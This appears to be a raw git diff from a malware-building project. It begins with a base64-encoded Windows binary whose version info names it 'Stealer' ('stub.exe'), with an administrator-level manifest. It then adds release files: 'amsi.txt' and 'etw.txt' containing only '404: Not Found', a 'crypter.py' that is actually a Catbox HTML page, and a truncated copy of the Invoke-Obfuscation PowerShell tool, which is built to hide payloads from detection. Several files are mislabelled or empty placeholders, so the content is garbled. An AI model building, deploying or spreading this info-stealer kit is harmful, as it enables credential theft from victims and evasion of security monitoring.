tsYx/CtBIOnjLhAtFPZq8VgdHK4JUja+GSPjNiCyQ7Irm+7g6isoWZDbrmjAxy3ij3oi1FeBLQ/ZS3lWIIfWTw9cznb6NJVPpIfYcn/Z3DHo0+80FjRwp0/y6Zq25vOjf9+PRg3BKo+N3roUzhG5kNa27bEFV7xjcsZ2071GUnBOjQ3McNKfGj/wDMkg85tQvtD2n7n3tmnH3bzgvPkaCjXhXZiC8TuyStW1G/eZR769Y7drMuOTd5WRHMl+ImgC0xLvSnrUJoOytqxsxMdRIc8S54N0ISaudRkrfmu6EGUGP7SxgQaxr67coR2L0lPcnD4eJZFkJEhhMSCm7sDNkq6qvVTmevZF+ohtqI6b++/sPkZFeAvJ2GwPfw+Ht4YE1gA2BGg/3RsB849gSuRXfM/DbXM2tCg3GrHvCHQYCwX14APL5XoHckrui9mUJGVWEuWL+P9FhOov3d8jjvdPTCvYmHw/lmU3SOs8hV8nW0udn8RmEm63qE3x2LeQ5qhOKVX5GOWW5GcFe0IJFV1YxM3gLJ4awLudAFgrtIYqgRnql0dbYZf7cJ3KngoQktZjNGMsQCH1rojL7wCSWgmUoQ/m4dHT25Gt+kpQsP8oahafFoKIPat9z+BjlXm87ioVJ/zU8BXhFQ+oMGp8S1AqAn0OYNJ4z4mkGGP3cGTGDDtQaoYSh6F/DghvXAqlhgAGJ93DDXnuYRY+o4I5TdwlM0FsLCVu7Lu962vJChffzrdh1ZzgnkBW+IAXxLPQpyOSR8knxfcuOGuZ1NcrRbwRr8uJ7TeFVU7bWl/AjTfD3YxA+tTV7vUB745mGx2RSFojwTUWznx9VvxE7hVs6/KjY3yMbdNDKa1xKCY5KO+g5n4ABgQDfOOTrP9frTN3fCqxstxVqeZ7BcQjejT0AngtO+m7yZnY4R1RVzD79+HC3We8QAx2sbjLdFkKEhvrFusrRuNmovq0hXeW6UvNJ2o8bIwkll7vgPU33ejUYdCnPVxk3QTNu7OSlQRrqp6CaVrATjXr7w1fqhmlEtauKM72Mi7oaauMKJwPYuJEOqAx6lpNDynLphwINNaumbUBXlj9ZbZLr5oiYo4To6p4aVqUvpYlXv0+8vx9r3UvdpbwQ/WQr6dxWp5IABhrCHreYJm5PlPjta/ZDpl9c0ntm38CxRiysCOqzVln2mfQHWPs/RKC19fM8lnx+buPKtcrTWWkz1iFpxrCng5qUZ4P2ssEeb+pPtjcTT6MxXOygpZtX4KC4TeZEBX3hVYHXtRA6W94xe0+PUbQUVum30iCVhoQO98GQFFZ7rw6JXkDzsGieXKgc6qZttPxv1IWMe+2ac9Rnz3CYo2TN19f1VsYI0VgO7PLqKEXdRKPjZCsJnUcyrX5KtzFEX6E2O3DA4YlidN5H5IJPCkHrqzns++2TOIVEyvk93fuO2qEY9KcNpU95IgOYTZBAIrqIksm3d/S2FaWYhBwkKRpqz3cBFZM/ebFiuyCAc3fe+W0CNWBt/AdLMu+O0a35qot1F/1k6RAo1PtXNtLyozupyu4Rk+q4SZo1Hbzy/Y+Sb0p5dL1Qbd8KucGNO9o0NDnRXE1vncRZy+F19U68Iy0BAzOK0TmpG0jSErxUBKASw4R06mJW0n7gGSKBuzoI7P2+CqyA1Sx0aAfgnciexYBVh3D+T5yt5Oru9JUU04TmIoEt5zlG3yTIvybofoH7IHOD20ce8wxEBz8eq6KFJh5Aamr1P1Mve2tA42grVKsM5A2c2kcZ8MfmNTyux4LdZnvc6u/VD/xnV8pxF2ScsIpe/KvzmFXH8kQ8lFZSbYZPl+uucts5ZZKjC0ai6El4HwbYMagXjZVDSEEKkA8sObuzgO9uYFr6gmExk6XgyMpUfn9+S0+ArNKDTHvJxiUF0ChuMNKNLIHG+xdgydsONnzXfLi+Zm0dvC+Yd8eMPVNpM5ZHY2h7PeWLOb34+zWaxGBYFHSz9xdKPhJki+/ZX8yP1I3YypjE1qJMCzcxWYoHwrLXrdVqXNhZuzHPSiJJilt7QSbmBG5BQTBRWxnG9x8bmChR6MgbQ4UWae/LD/VOqyQAPqGLivyW79tK9NQVpEnEiAgSyfM/Ltiucds3APhFT0+NAFmC9qzjwrUclnCA4unbORvfFoa93YGB1IE7+y4XYjeiKsPmqen6q+UxcwkgZjIr7AuRqwwH54evWafjUkKDeXKYtJQk/n+YIwjJhTrdb4nfO49+PV+Zywzp/7nNoU0qK8DEy4PxntRd1AQAAANCMnd8BFdERjHoAwE/Cl+sAAAAAAAECAwQGCAgAAAAAAAAAALMcbiQayEZyjanB+sSTZlHP+5RNFDq4FidrzG2gKEeHfgAAAEYAAABAAAAANwAAACUAAABtAAAAJAAAAH4AAABleHBhbmQgMzItYnl0ZSBrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY3x3e/Jrb8UwAWcr/terdsqCyX36WUfwrdSir5ykcsC3/ZMmNj/3zDSl5fFx2DEVBMcjwxiWBZoHEoDi6yeydQmDLBobblqgUjvWsynjL4RT0QDtIPyxW2rLvjlKTFjP0O+q+0NNM4VF+QJ/UDyfqFGjQI+SnTj1vLbaIRD/89LNDBPsX5dEF8Snfj1kXRlzYIFP3CIqkIhG7rgU3l4L2+AyOgpJBiRcwtOsYpGV5HnnyDdtjdVOqWxW9Opleq4IunglLhymtMbo3XQfS72LinA+tWZIA/YOYTVXuYbBHZ7h+JgRadmOlJseh+nOVSjfjKGJDb/mQmhBmS0PsFS7FgAAAABmZuY+AABAPwAAgD8gAAkADQAKACwALgA7ADoALQBfAC8AXAAiACcAAAAAAH4AAABkAAAAcgAAAGEAAABHAAAAbwAAAG4AAAB+AAAAQgBDAEQARgBHAEgASgBLAE0AUABRAFIAVABWAFcAWABZADIAMwA0ADYANwA4ADkAiGo/JNMIo4UuihkTRHNwAyI4CaTQMZ8pmPouCIlsTuzmIShFdxPQOM9mVL5sDOk0tymswN1QfMm11YQ/FwlHtdnVFpIb+3mJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAAACAAAIAYAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAlAMAAJAABAAEAwAAAAAAAAAAAAAEAzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEZAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAQAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAADgACAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABTAHQAZQBhAGwAZQByAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAAMgAJAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABzAHQAdQBiAC4AZQB4AGUAAAAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADIANAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAAOgAJAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAHMAdAB1AGIALgBlAHgAZQAAAAAAMAAIAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABTAHQAZQBhAGwAZQByAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAApAMEAC0RAAAAAAAAAAAAAO+7vzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8YXNzZW1ibHkgbWFuaWZlc3RWZXJzaW9uPSIxLjAiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSI+DQogIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYyIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgICAgICA8IS0tINCf0LDRgNCw0LzQtdGC0YDRiyDQvNCw0L3QuNGE0LXRgdGC0LAgVUFDDQogICAgICAgICAgICAg0JXRgdC70Lgg0LLRiyDRhdC+0YLQuNGC0LUg0LjQt9C80LXQvdC40YLRjCDRg9GA0L7QstC10L3RjCDQutC+0L3RgtGA0L7Qu9GPINGD0YfQtdGC0L3Ri9GFINC30LDQv9C40YHQtdC5IFdpbmRvd3MsINC30LDQvNC10L3QuNGC0LUg0YPQt9C10LsgDQogICAgICAgICAgICAgcmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwg0L3QsCDQvtC00LjQvSDQuNC3INGB0LvQtdC00YPRjtGJ0LjRhS4NCg0KICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIgLz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0icmVxdWlyZUFkbWluaXN0cmF0b3IiIHVpQWNjZXNzPSJmYWxzZSIgLz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0iaGlnaGVzdEF2YWlsYWJsZSIgdWlBY2Nlc3M9ImZhbHNlIiAvPg0KDQogICAgICAgICAgICDQn9GA0Lgg0YPQutCw0LfQsNC90LjQuCDRjdC70LXQvNC10L3RgtCwIHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsINCx0YPQtNC10YIg0L7RgtC60LvRjtGH0LXQvdCwINCy0LjRgNGC0YPQsNC70LjQt9Cw0YbQuNGPINGE0LDQudC70L7QsiDQuCDRgNC10LXRgdGC0YDQsC4gDQogICAgICAgICAgICDQo9C00LDQu9C40YLQtSDRjdGC0L7RgiDRjdC70LXQvNC10L3Rgiwg0LXRgdC70Lgg0LLQuNGA0YLRg9Cw0LvQuNC30LDRhtC40Y8g0YLRgNC10LHRg9C10YLRgdGPINC/0YDQuNC70L7QttC10L3QuNGOINC00LvRjyDQvtCx0YDQsNGC0L3QvtC5DQogICAgICAgICAgICDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuC4NCiAgICAgICAgLS0+DQoJCSAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0icmVxdWlyZUFkbWluaXN0cmF0b3IiIHVpQWNjZXNzPSJmYWxzZSIgLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCg0KICA8Y29tcGF0aWJpbGl0eSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpjb21wYXRpYmlsaXR5LnYxIj4NCiAgICA8YXBwbGljYXRpb24+DQogICAgICA8IS0tINCh0L/QuNGB0L7QuiDQstC10YDRgdC40LkgV2luZG93cywg0L3QsCDQutC+0YLQvtGA0YvRhSDRjdGC0L4g0L/RgNC40LvQvtC20LXQvdC40LUg0LHRi9C70L4g0L/RgNC+0YLQtdGB0YLQuNGA0L7QstCw0L3Qvg0KICAgICAgICAgICDQuCDQsdGD0LTQtdGCINGA0LDQsdC+0YLQsNGC0YwuINCg0LDRgdC60L7QvNC80LXQvdGC0LjRgNGD0LnRgtC1INGB0L7QvtGC0LLQtdGC0YHRgtCy0YPRjtGJ0LjQtSDRjdC70LXQvNC10L3RgtGLLCDRh9GC0L7QsdGLINCe0KEgV2luZG93cyANCiAgICAgICAgICAg0LDQstGC0L7QvNCw0YLQuNGH0LXRgdC60Lgg0LLRi9Cx0YDQsNC70LAg0L3QsNC40LHQvtC70LXQtSDRgdC+0LLQvNC10YHRgtC40LzQvtC1INC+0LrRgNGD0LbQtdC90LjQtS4gLS0+DQoNCiAgICAgIDwhLS0gV2luZG93cyBWaXN0YSAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9IntlMjAxMTQ1Ny0xNTQ2LTQzYzUtYTVmZS0wMDhkZWVlM2QzZjB9IiAvPi0tPg0KDQogICAgICA8IS0tIFdpbmRvd3MgNyAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9InszNTEzOGI5YS01ZDk2LTRmYmQtOGUyZC1hMjQ0MDIyNWY5M2F9IiAvPi0tPg0KDQogICAgICA8IS0tIFdpbmRvd3MgOCAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9Ins0YTJmMjhlMy01M2I5LTQ0NDEtYmE5Yy1kNjlkNGE0YTZlMzh9IiAvPi0tPg0KDQogICAgICA8IS0tIFdpbmRvd3MgOC4xIC0tPg0KICAgICAgPCEtLTxzdXBwb3J0ZWRPUyBJZD0iezFmNjc2Yzc2LTgwZTEtNDIzOS05NWJiLTgzZDBmNmQwZGE3OH0iIC8+LS0+DQoNCiAgICAgIDwhLS0gV2luZG93cyAxMCAtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9Ins4ZTBmN2ExMi1iZmIzLTRmZTgtYjlhNS00OGZkNTBhMTVhOWF9IiAvPi0tPg0KDQogICAgPC9hcHBsaWNhdGlvbj4NCiAgPC9jb21wYXRpYmlsaXR5Pg0KDQogIDwhLS0g0KPQutCw0LfRi9Cy0LDQtdGCLCDRh9GC0L4g0L/RgNC40LvQvtC20LXQvdC40LUg0L/QvtC00LTQtdGA0LbQuNCy0LDQtdGCINC+0L/RgNC10LTQtdC70LXQvdC40LUgRFBJINC4INC90LUg0LHRg9C00LXRgiDQsNCy0YLQvtC80LDRgtC40YfQtdGB0LrQuCDQvNCw0YHRiNGC0LDQsdC40YDQvtCy0LDRgtGM0YHRjyBXaW5kb3dzINC/0YDQuCDQsdC+0LvQtdC1INCy0YvRgdC+0LrQuNGFDQogICAgICAg0LfQvdCw0YfQtdC90LjRj9GFIERQSS4g0J/RgNC40LvQvtC20LXQvdC40Y8gV2luZG93cyBQcmVzZW50YXRpb24gRm91bmRhdGlvbiAoV1BGKSDQv9C+INGD0LzQvtC70YfQsNC90LjRjiDQv9C+0LTQtNC10YDQttC40LLQsNGO0YIg0L7Qv9GA0LXQtNC10LvQtdC90LjQtSBEUEksINC40Lwg0L3QtSDQvdGD0LbQvdC+IA0KICAgICAgINGB0L/QtdGG0LjQsNC70YzQvdC+INCy0LrQu9GO0YfQsNGC0Ywg0L/QsNGA0LDQvNC10YLRgCDQtNC70Y8g0Y3RgtC+0LPQvi4g0JTQu9GPINC/0YDQuNC70L7QttC10L3QuNC5IFdpbmRvd3MgRm9ybXMg0L3QsCDQv9C70LDRgtGE0L7RgNC80LUgLk5FVCBGcmFtZXdvcmvCoDQuNiwg0LTQu9GPINC60L7RgtC+0YDRi9GFINC30LDQtNCw0L0g0Y3RgtC+0YIg0L/QsNGA0LDQvNC10YLRgCwg0L3QtdC+0LHRhdC+0LTQuNC80L4gDQogICAgICAg0YLQsNC60LbQtSDQt9Cw0LTQsNGC0Ywg0LTQu9GPICJFbmFibGVXaW5kb3dzRm9ybXNIaWdoRHBpQXV0b1Jlc2l6aW5nIiDQt9C90LDRh9C10L3QuNC1ICJ0cnVlIiDQsiDRhNCw0LnQu9C1IGFwcC5jb25maWcuIA0KICAgICAgIA0KICAgICAgINCf0YDQuCDRjdGC0L7QvCDQv9GA0LjQu9C+0LbQtdC90LjQtSDQvdCw0YfQuNC90LDQtdGCINGD0YfQuNGC0YvQstCw0YLRjCDQtNC70LjQvdC90YvQtSDQv9GD0YLQuC4g0JTQvtC/0L7Qu9C90LjRgtC10LvRjNC90YvQtSDRgdCy0LXQtNC10L3QuNGPINGB0LwuINC90LAg0YHRgtGA0LDQvdC40YbQtSANCgkgICANCg0KczovL2RvY3MubWljcm9zb2Z0LmNvbS93aW5kb3dzL3dpbjMyL2ZpbGVpby9tYXhpbXVtLWZpbGUtcGF0aC1saW1pdGF0aW9uLi0tPg0KICA8IS0tDQogIDxhcHBsaWNhdGlvbiB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgIDx3aW5kb3dzU2V0dGluZ3M+DQogICAgICA8ZHBpQXdhcmUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj50cnVlPC9kcGlBd2FyZT4NCiAgICAgIDxsb25nUGF0aEF3YXJlIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL1NNSS8yMDE2L1dpbmRvd3NTZXR0aW5ncyI+dHJ1ZTwvbG9uZ1BhdGhBd2FyZT4NCiAgICA8L3dpbmRvd3NTZXR0aW5ncz4NCiAgPC9hcHBsaWNhdGlvbj4NCiAgLS0+DQoNCiAgPCEtLSDQktC60LvRjtGH0LjRgtC1INGC0LXQvNGLINC00LvRjyDQvtCx0YnQuNGFINGN0LvQtdC80LXQvdGC0L7QsiDRg9C/0YDQsNCy0LvQtdC90LjRjyDQuCDQtNC40LDQu9C+0LPQvtCy0YvRhSDQvtC60L7QvSBXaW5kb3dzIChXaW5kb3dzIFhQINC4INCx0L7Qu9C10LUg0L/QvtC30LTQvdC40LUg0LLQtdGA0YHQuNC4KSAtLT4NCiAgPCEtLQ0KICA8ZGVwZW5kZW5jeT4NCiAgICA8ZGVwZW5kZW50QXNzZW1ibHk+DQogICAgICA8YXNzZW1ibHlJZGVudGl0eQ0KICAgICAgICAgIHR5cGU9IndpbjMyIg0KICAgICAgICAgIG5hbWU9Ik1pY3Jvc29mdC5XaW5kb3dzLkNvbW1vbi1Db250cm9scyINCiAgICAgICAgICB2ZXJzaW9uPSI2LjAuMC4wIg0KICAgICAgICAgIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0iKiINCiAgICAgICAgICBwdWJsaWNLZXlUb2tlbj0iNjU5NWI2NDE0NGNjZjFkZiINCiAgICAgICAgICBsYW5ndWFnZT0iKiINCiAgICAgICAgLz4NCiAgICA8L2RlcGVuZGVudEFzc2VtYmx5Pg0KICA8L2RlcGVuZGVuY3k+DQogIC0tPg0KDQo8L2Fzc2VtYmx5Pg0KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA diff --git a/bin/Release/net48/win-x64/publish/amsi.txt b/bin/Release/net48/win-x64/publish/amsi.txt new file mode 100644 index 0000000..1becba2 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/amsi.txt @@ -0,0 +1 @@ +404: Not Found \ No newline at end of file diff --git a/bin/Release/net48/win-x64/publish/crypter.py b/bin/Release/net48/win-x64/publish/crypter.py new file mode 100644 index 0000000..f0e96cd --- /dev/null +++ b/bin/Release/net48/win-x64/publish/crypter.py @@ -0,0 +1,32 @@ + + + + + + + + +Catbox + + + + + + + + + + + diff --git a/bin/Release/net48/win-x64/publish/etw.txt b/bin/Release/net48/win-x64/publish/etw.txt new file mode 100644 index 0000000..1becba2 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/etw.txt @@ -0,0 +1 @@ +404: Not Found \ No newline at end of file diff --git a/bin/Release/net48/win-x64/publish/io.ps1 b/bin/Release/net48/win-x64/publish/io.ps1 new file mode 100644 index 0000000..d9bdb57 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/io.ps1 @@ -0,0 +1,2189 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Invoke-Obfuscation +{ +<# +.SYNOPSIS + +Master function that orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents. Interactive mode enables one to explore all available obfuscation functions and apply them incrementally to input PowerShell script block or script path contents. + +Invoke-Obfuscation Function: Invoke-Obfuscation +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Show-AsciiArt, Show-HelpMenu, Show-Menu, Show-OptionsMenu, Show-Tutorial and Out-ScriptContents (all located in Invoke-Obfuscation.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Invoke-Obfuscation orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments and common parent-child process relationships. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER ScriptPath + +Specifies the path to your payload (can be local file, UNC-path, or remote URI). + +.PARAMETER Command + +Specifies the obfuscation commands to run against the input ScriptBlock or ScriptPath parameter. + +.PARAMETER NoExit + +(Optional - only works if Command is specified) Outputs the option to not exit after running obfuscation commands defined in Command parameter. + +.PARAMETER Quiet + +(Optional - only works if Command is specified) Outputs the option to output only the final obfuscated result via stdout. + +.EXAMPLE + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -NoExit + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -Quiet + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -NoExit -Quiet + +.NOTES + +Invoke-Obfuscation orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'ScriptBlock')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'ScriptPath')] + [ValidateNotNullOrEmpty()] + [String] + $ScriptPath, + + [String] + $Command, + + [Switch] + $NoExit, + + [Switch] + $Quiet + ) + + # Define variables for CLI functionality. + $Script:CliCommands = @() + $Script:CompoundCommand = @() + $Script:QuietWasSpecified = $FALSE + $CliWasSpecified = $FALSE + $NoExitWasSpecified = $FALSE + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['ScriptBlock']) + { + $Script:CliCommands += ('set scriptblock ' + [String]$ScriptBlock) + } + If($PSBoundParameters['ScriptPath']) + { + $Script:CliCommands += ('set scriptpath ' + $ScriptPath) + } + + # Append Command to CliCommands if specified by user input. + If($PSBoundParameters['Command']) + { + $Script:CliCommands += $Command.Split(',') + $CliWasSpecified = $TRUE + + If($PSBoundParameters['NoExit']) + { + $NoExitWasSpecified = $TRUE + } + + If($PSBoundParameters['Quiet']) + { + # Create empty Write-Host and Start-Sleep proxy functions to cause any Write-Host or Start-Sleep invocations to not do anything until non-interactive -Command values are finished being processed. + Function Write-Host {} + Function Start-Sleep {} + $Script:QuietWasSpecified = $TRUE + } + } + + ######################################## + ## Script-wide variable instantiation ## + ######################################## + + # Script-level array of Show Options menu, set as SCRIPT-level so it can be set from within any of the functions. + # Build out menu for Show Options selection from user in Show-OptionsMenu menu. + $Script:ScriptPath = '' + $Script:ScriptBlock = '' + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:ObfuscatedCommand = '' + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscationLength = '' + $Script:OptionsMenu = @() + $Script:OptionsMenu += , @('ScriptPath ' , $Script:ScriptPath , $TRUE) + $Script:OptionsMenu += , @('ScriptBlock' , $Script:ScriptBlock , $TRUE) + $Script:OptionsMenu += , @('CommandLineSyntax' , $Script:CliSyntax , $FALSE) + $Script:OptionsMenu += , @('ExecutionCommands' , $Script:ExecutionCommands, $FALSE) + $Script:OptionsMenu += , @('ObfuscatedCommand' , $Script:ObfuscatedCommand, $FALSE) + $Script:OptionsMenu += , @('ObfuscationLength' , $Script:ObfuscatedCommand, $FALSE) + # Build out $SetInputOptions from above items set as $TRUE (as settable). + $SettableInputOptions = @() + ForEach($Option in $Script:OptionsMenu) + { + If($Option[2]) {$SettableInputOptions += ([String]$Option[0]).ToLower().Trim()} + } + + # Script-level variable for whether LAUNCHER has been applied to current ObfuscatedToken. + $Script:LauncherApplied = $FALSE + + # Ensure Invoke-Obfuscation module was properly imported before continuing. + If(!(Get-Module Invoke-Obfuscation | Where-Object {$_.ModuleType -eq 'Manifest'})) + { + $PathTopsd1 = "$ScriptDir\Invoke-Obfuscation.psd1" + If($PathTopsd1.Contains(' ')) {$PathTopsd1 = '"' + $PathTopsd1 + '"'} + Write-Host "`n`nERROR: Invoke-Obfuscation module is not loaded. You must run:" -ForegroundColor Red + Write-Host " Import-Module $PathTopsd1`n`n" -ForegroundColor Yellow + Start-Sleep -Seconds 3 + Exit + } + + # Maximum size for cmd.exe and clipboard. + $CmdMaxLength = 8190 + + # Build interactive menus. + $LineSpacing = '[*] ' + + # Main Menu. + $MenuLevel = @() + $MenuLevel+= , @($LineSpacing, 'TOKEN' , 'Obfuscate PowerShell command ') + $MenuLevel+= , @($LineSpacing, 'AST' , "`tObfuscate PowerShell nodes <(PS3.0+)>") + $MenuLevel+= , @($LineSpacing, 'STRING' , 'Obfuscate entire command as a ') + $MenuLevel+= , @($LineSpacing, 'ENCODING' , 'Obfuscate entire command via ') + $MenuLevel+= , @($LineSpacing, 'COMPRESS' , 'Convert entire command to one-liner and ') + $MenuLevel+= , @($LineSpacing, 'LAUNCHER' , 'Obfuscate command args w/ techniques (run once at end)') + + # Main\Token Menu. + $MenuLevel_Token = @() + $MenuLevel_Token += , @($LineSpacing, 'STRING' , 'Obfuscate tokens (suggested to run first)') + $MenuLevel_Token += , @($LineSpacing, 'COMMAND' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'ARGUMENT' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'MEMBER' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'VARIABLE' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'TYPE ' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'COMMENT' , 'Remove all tokens') + $MenuLevel_Token += , @($LineSpacing, 'WHITESPACE' , 'Insert random (suggested to run last)') + $MenuLevel_Token += , @($LineSpacing, 'ALL ' , 'Select choices from above (random order)') + + $MenuLevel_Token_String = @() + $MenuLevel_Token_String += , @($LineSpacing, '1' , "Concatenate --> 